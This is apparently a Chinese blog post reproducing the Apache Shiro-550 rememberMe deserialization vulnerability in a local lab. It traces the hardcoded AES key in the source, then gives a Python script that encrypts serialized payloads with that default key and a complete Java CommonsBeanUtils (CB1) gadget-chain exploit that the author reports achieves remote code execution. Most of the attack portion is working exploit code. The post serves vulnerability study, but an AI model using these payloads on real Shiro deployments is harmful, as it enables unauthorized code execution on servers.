前言 前几天学习了Shiro的开发知识,今天复现一下Shiro550漏洞。
环境搭建 tomcat 8.5.81(下载地址:Apache Tomcat® - Welcome! )
JDK 1.8 (8u65)
Shiro环境
JDK先前下载过了,这里配置Tomcat8
Tomcat&&Clone&&IDEA Tomcat下载的这个
解压到任意目录备用
先把p牛的项目Clone下来,然后按住Shift+右键shirodemo文件夹选择使用idea打开项目,点击文件–>项目结构配置jdk版本,这里使用的8u65
随后点击IDEA右上角,编辑运行配置,添加我们的Tomcat服务器
添加成功后点击部署按钮,添加工件
部署好之后点击运行
这样环境就搭建好啦!登录的 username 和 password 默认是 root:secret
漏洞分析 抓包 先用Burp Suite抓个包康康,然后发现Burp Suite抓不到localhost的包,
解决方法 :把localhost 替换为ip地址来访问,比如我这里就是http://10.189.101.3:8080/shirodemo/login.jsp
可以看到这样就成功抓到了包
登录的时候数据包会返回来一个Cookie的值
然后以后每访问什么的时候就会自动带上这个cookie,这个cookie很长,一看就是储存了什么信息,猜测可能使用的序列化与反序列化来储存信息,这样方便持久化进行保存。
跟进源码 IDEA中全局搜索cookie关键字,找到了位于shiro包下的这个Cookie
,当我点进去时候是Class文件,这时候阅读极为困难,试图把源码下载下来、
。。。又出现了这个问题,可能是我本地Maven环境有问题
踩坑解决: 手动下载Shiro源码:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
选择源选择源代码,现在看到的就是正常的Java文件了捏
分析 可以看到这个类里面有两个方法,一看就是对rememberMe进行序列化和反序列化的操作的
这边我们重点看getRememberedSerializedIdentity 这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
跟进到这个方法后,找一下哪里调用了这个方法
然后就跟进到了这里,可以看到convertBytesToPrincipals用来转换getRememberedSerializedIdentity,点进去后看这个convertBytesToPrincipals
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
很明显,就两个操作,一个是解密,一个是反序列化,因为字节是加密过的,所以我们先把他解密
解密 跟进到decrypt这个函数里,这是一个接口
看他的参数名,第一个叫encrypted,第二个是什么什么key,就可以想到这是一个对称加密算法,是用key去解的,然后我们回到AbstractRememberMeManager,
继续跟进getDecryptionCipherKey
最后找到了这里对key进行赋值,然后看一下谁调用了setDecryptionCipherKey
找到了这里
最后再找谁调了setCipherKey
发现在AbstractRememberMeManager进行赋值,而这个DEFAULT_CIPHER_KEY_BYTES 是一个常量
点进去发现他是固定了,看到这里对这个漏洞也多少有点眉目了,因为其硬编码了密钥,所以导致了固定key加密,现在我们只要构造一个序列化的payload,然后用AES的key加密,然后base64编码一下,最后想办法走到正常流程里调用反序列化就执行攻击的操作了了
验证(URLDNS链) 首先用URLDNS链去验证一下漏洞,urldns这条链之前就写过了,运行文件生成payload
拿出来后要对这个文件进行AES加密,然后base64编码,脚本照着组长的抄的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import base64import uuidfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename, 'rb' ) as f: data = f.read() return data def aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__" : data = get_file_data("ser.bin" ) print (aes_enc(data))
得到以下字符串
拿到这个payload,替换掉rememberMe,就成功接收到dns回显了
(注意要把JSESSIONID删掉,不然保持登录状态的话代码逻辑是进入不到反序列化的流程的)
CB1链分析 Shiro是不带有CC的,但是它有CB,趁着这个机会自己写一次CB链
CB简介 CB链”指的是一种类似于CC链的攻击链,但使用的是Apache Commons项目中的Commons BeanUtils库 。 Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等
什么是JavaBean JavaBean 是一种JAVA语言写成的可重用组件,它是一个类
所谓javaBean,是指符合如下标准的Java类:
类是公共的
有一个无参的公共的构造器
有私有属性,且须有对应的get、set方法去设置属性
对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set”
在java中,有很多类定义都符合这样的规范
比如这样一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class Person { private String name; public Person (String name) { this .name = name; } public String getName () { return name; } public void setName (String n) { name = n; } }
它包含了一个私有属性name,以及读取和设置这个属性的两个public方法 getName()和setName(),即getter和setter
这种 class 就是 JavaBean
用于对属性赋值的方法称为属性修改器或setter方法,用于读取属性值的方法称为属性访问器或getter方法
环境搭建 Maven 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.9.2</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.2</version > </dependency >
分析 上面说了CB的用处,比如一个类Person
是个JavaBean
,它有个name
属性,则PropertyUtils.getProperty(new Person(),"name")
则会调用它的getName()
方法,那么之前写的CC3里的Templateslmpl的getOutputProperties也是get开头的
我们把CC3的代码粘过来,成功执行了命令,这样就成功找到了反序列化的尾部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field NameFIeld = tc.getDeclaredField("_name" ); NameFIeld.setAccessible(true ); NameFIeld.set(templates, "test" ); Field BytecodesField = tc.getDeclaredField("_bytecodes" ); BytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://temp/classes/Test.class" )); byte [][] codes = {code}; BytecodesField.set(templates,codes); Field tFactoryField = tc.getDeclaredField("_tfactory" ); tFactoryField.setAccessible(true ); tFactoryField.set(templates, new TransformerFactoryImpl ()); PropertyUtilsBean propertyUtilsBean = new PropertyUtilsBean (); propertyUtilsBean.getProperty(templates,"outputProperties" ); }
说白了getProperty 的属性值可以控制的话,就可以任意执行代码,所以还是找反序列化的那个思路,看看哪里调了getProperty
这样就找到了位于BeanComparator类的compare方法,而且property这个属性还是可以控制的,o1是我们传的参数。
继续找谁调用了 compare() 方法,这里就太多了,我们优先去找能够进行序列化的类,于是这里找到了 PriorityQueue
这个类。PriorityQueue这个类的
siftDownUsingComparator()方法调用了
compare(),继续找谁调用了 siftDownUsingComparator()
方法,发现在同一个类中的 siftDown()
方法调用了它。同样,发现同个类下的 heapify()
方法调用了 siftDown()
方法
,最后在寻找谁调用heapify 时候,找到了readobejct
EXP编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package com.study;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field NameField = tc.getDeclaredField("_name" ); NameField.setAccessible(true ); NameField.set(templates, "test" ); Field BytecodesField = tc.getDeclaredField("_bytecodes" ); BytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://temp/classes/Test.class" )); byte [][] codes = {code}; BytecodesField.set(templates, codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" ); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue<Object> priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class pc = priorityQueue.getClass(); Field comparatorField = pc.getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(priorityQueue, beanComparator); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
CB1打Shiro550 用上面我们写的EXP生成的payload去生成,放到burp里,一样的删除掉JSESSIONID,然后就成功执行了命令,造成了RCE
参考资料 https://www.bilibili.com/video/BV1iF411b7bD?spm_id_from=333.788.videopod.sections&vd_source=7ee5bc742ad8e76b4536e01b16e6839d
https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#1-%E5%B0%BE%E9%83%A8%E9%93%BE%E5%AD%90-%E2%80%94%E2%80%94%E2%80%94%E2%80%94-%E5%88%A9%E7%94%A8-TemplatesImpl-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81